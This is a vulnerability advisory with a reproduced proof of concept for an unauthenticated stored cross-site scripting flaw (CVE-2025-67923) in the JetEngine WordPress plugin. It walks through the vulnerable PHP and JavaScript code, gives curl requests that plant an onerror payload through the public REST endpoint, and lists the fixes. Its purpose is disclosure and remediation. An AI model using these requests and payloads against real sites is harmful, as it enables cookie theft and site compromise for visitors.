
JetEngine <= 3.7.7 — Unauthenticated Stored Cross-Site Scripting via CCT REST API
Date: March 11, 2026 CVSS Score: 7.1 (High) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Affected Plugin: JetEngine <= 3.7.7 Plugin Slug: jet-engine Fixed In: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Researcher: Bonds (via Patchstack) Reported: October 19, 2025 Disclosed: January 2026 WordPress Version Tested: Latest
CVE-2025-67923 is an Unauthenticated Stored Cross-Site Scripting vulnerability in the JetEngine WordPress plugin affecting all versions up to and including 3.7.7. An unauthenticated attacker can write arbitrary HTML/JavaScript into a Custom Content Type (CCT) text field via the public REST API, which is then injected unsanitized into the DOM via a JavaScript innerHTML sink in the Maps Listing widget when a victim visits any page containing that widget.
The attack requires no authentication and no privileges. It requires only that:
public.✅ VULNERABILITY CONFIRMED — Stored XSS Payload Written and Executed
Confirmed impact:
The vulnerability is a combination of two independent weaknesses:
Missing input sanitization (store): The CCT item handler's sanitize_field_value() method has no sanitization path for text-type fields. The default: case only converts timestamps — raw HTML passes through and is persisted to the database.
DOM-based XSS sink (render): The Maps Listing widget reads the stored field value via get_marker_label(), wraps it in htmlspecialchars(json_encode(...)) for the data-markers HTML attribute, and the JavaScript frontend reads the attribute with getAttribute() (which decodes HTML entities), then inserts markerData.label directly via innerHTML — executing any embedded HTML/JavaScript.
The CCT public REST controller checks permissions via check_user_permissions():
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
$content_type = $this->get_content_type_from_request( $request );
$cap = $content_type->get_arg( $context );
if ( ! $cap || 'public' === $cap ) {
return true; // No authentication required
} else {
return current_user_can( $cap );
}
}
public function create_item_permissions_check( $request ) {
return $this->check_user_permissions( $request, 'rest_put_access' );
}
When a CCT is configured with rest_put_access = 'public' (a supported, documented configuration for public-facing forms), the endpoint is fully unauthenticated. Any HTTP client can POST to /wp-json/jet-cct/{slug}.
The REST handler calls $handler->update_item($params) which reaches sanitize_field_value():
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
$type = isset( $field['type'] ) ? $field['type'] : false;
switch ( $type ) {
case 'repeater': // sanitizes sub-fields
// ...
case 'checkbox': // handles boolean arrays
case 'checkbox-raw':
// ...
case 'media':
case 'gallery': // sanitizes media JSON
// ...
case 'wysiwyg':
$value = jet_engine_sanitize_wysiwyg( $value ); // sanitized
break;
default:
// TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
$value = $this->factory->maybe_to_timestamp( $value, $field );
}
return $value;
}
A text-type field hits the default: branch. maybe_to_timestamp() returns the value unchanged for non-date strings. The XSS payload `` is stored verbatim.
When the Maps Listing widget renders, get_marker_label() reads the field:
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {
// ...
switch ( $label_type ) {
case 'meta_field':
$field = $settings['marker_label_field'];
if ( $field ) {
$result = jet_engine()->listings->data->get_meta( $field, $post );
// No esc_html() here — raw value returned
}
break;
}
return $result; // Returns ""
}
The returned value is placed into the marker data array:
// render.php:231-237
$result[] = array(
'id' => $post_id,
'latLang' => $latlang,
'label' => $this->get_marker_label( $post, $settings ), // raw XSS payload
// ...
);
The marker array is encoded for an HTML attribute:
// render.php:247
return htmlspecialchars( json_encode( $result ) );
json_encode serialises `` as the string "". htmlspecialchars then HTML-encodes the full JSON, producing:
[{...,"label":"<img src=x onerror=alert(1)>",...}]
This is written to the data-markers HTML attribute. The encoding only protects the attribute boundary. When JavaScript reads the attribute, the browser decodes HTML entities, restoring the original characters:
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''
In frontend-maps.js, the raw label string is spliced directly into an HTML content string:
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//
// </div>'
This content string is then set as the marker element's innerHTML:
// mapbox-maps.js:175
el.innerHTML = data.content; // XSS FIRES
// leaflet-maps.js:34
contentHtml.innerHTML = content; // XSS FIRES
Every visitor who loads a page containing the Maps Listing widget triggers the payload.
maps-listings and custom-content-types modules are enabled.locations (slug: locations) exists with:
rest_put_enabled = truerest_put_access = 'public'text-type field named labelmarker_type = 'text'marker_label_type = 'meta_field'marker_label_field = 'label'curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
-H 'Content-Type: application/json' \
-d '{
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}'
Response:
{"success": true, "item_id": 1}
curl -s 'http://TARGET/wp-json/jet-cct/locations'
Response:
[{
"_ID": "1",
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}]
The `` tag is stored verbatim — no sanitization occurred.
Any authenticated or unauthenticated visitor who loads a page containing the Maps Listing widget will execute the payload. The rendered HTML attribute contains:
<div class="jet-map-box"
data-markers="[{..."label":"<img src=x onerror=alert(document.cookie)>"...}]"
data-general="...">
</div>
JavaScript reads data-markers, decodes HTML entities, JSON-parses, and inserts into DOM:
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)
Attacker WordPress REST API Victim Browser
| | |
|-- POST /wp-json/jet-cct/ ---> | |
| {"label":" |
| | el.innerHTML = label
| | onerror=alert() FIRES
sanitize_field_value() explicitly handles wysiwyg with wp_kses-based sanitization but places all other string types into a default: branch that performs no HTML escaping. The assumption that text fields are plain text is violated when those values are later rendered as HTML via the Maps widget's innerHTML path.
htmlspecialchars(json_encode($result)) is applied to protect the HTML attribute boundary. This is correct and necessary — but it is not sufficient to prevent XSS when the value is later read back via JavaScript and inserted into the DOM via innerHTML. The encoding is reversible by the browser. The correct fix is to apply esc_html() (or htmlspecialchars) to the individual label value before JSON-encoding, so the payload is stored in the JSON as entity-encoded text. When JavaScript inserts it via innerHTML, the browser renders <img> as text, not as an HTML tag.
Alternatively, replace innerHTML with textContent in the JavaScript for the label field.
The REST API write path (update_item) does not treat all stored values as potential HTML sinks. The sanitization policy is defined only per field type, with text fields silently exempted despite being rendered as HTML on the frontend via the Maps widget.
| Date | Event |
|---|---|
| October 19, 2025 | Vulnerability reported by researcher "Bonds" via Patchstack |
| January 2026 | Public disclosure |
| January 2026 | JetEngine 3.7.8 released with fix |
| March 11, 2026 | Independently reproduced with full PoC |
| File | Issue |
|---|
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424 | create_item_permissions_check returns true when CCT rest_put_access = 'public' — no auth required |
includes/modules/custom-content-types/inc/item-handler.php:489 | sanitize_field_value() default: branch — no HTML sanitization for text type fields |
includes/modules/maps-listings/inc/render.php:233 | get_marker_label() returns raw meta value with no esc_html() |
includes/modules/maps-listings/inc/render.php:247 | htmlspecialchars(json_encode($result)) — only protects attribute boundary, not innerHTML injection |
includes/modules/maps-listings/assets/js/frontend-maps.js:112 | pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — raw label inserted into HTML string |
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175 | el.innerHTML = data.content — XSS execution sink |
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34 | contentHtml.innerHTML = content — XSS execution sink |
| Fix | File | Description |
|---|
| Sanitize text fields on save | item-handler.php:sanitize_field_value() | Add $value = wp_kses($value, []) or sanitize_text_field($value) in the default: branch |
| Escape label at render time | render.php:get_marker_label() | Apply esc_html($result) before returning the label value |
Use textContent instead of innerHTML for labels | frontend-maps.js, mapbox-maps.js, leaflet-maps.js | Replace el.innerHTML = data.content with safe DOM construction when content is label-only text |
| Restrict REST write access default | Plugin settings | Change the default value for rest_put_access to manage_options rather than public; require explicit opt-in |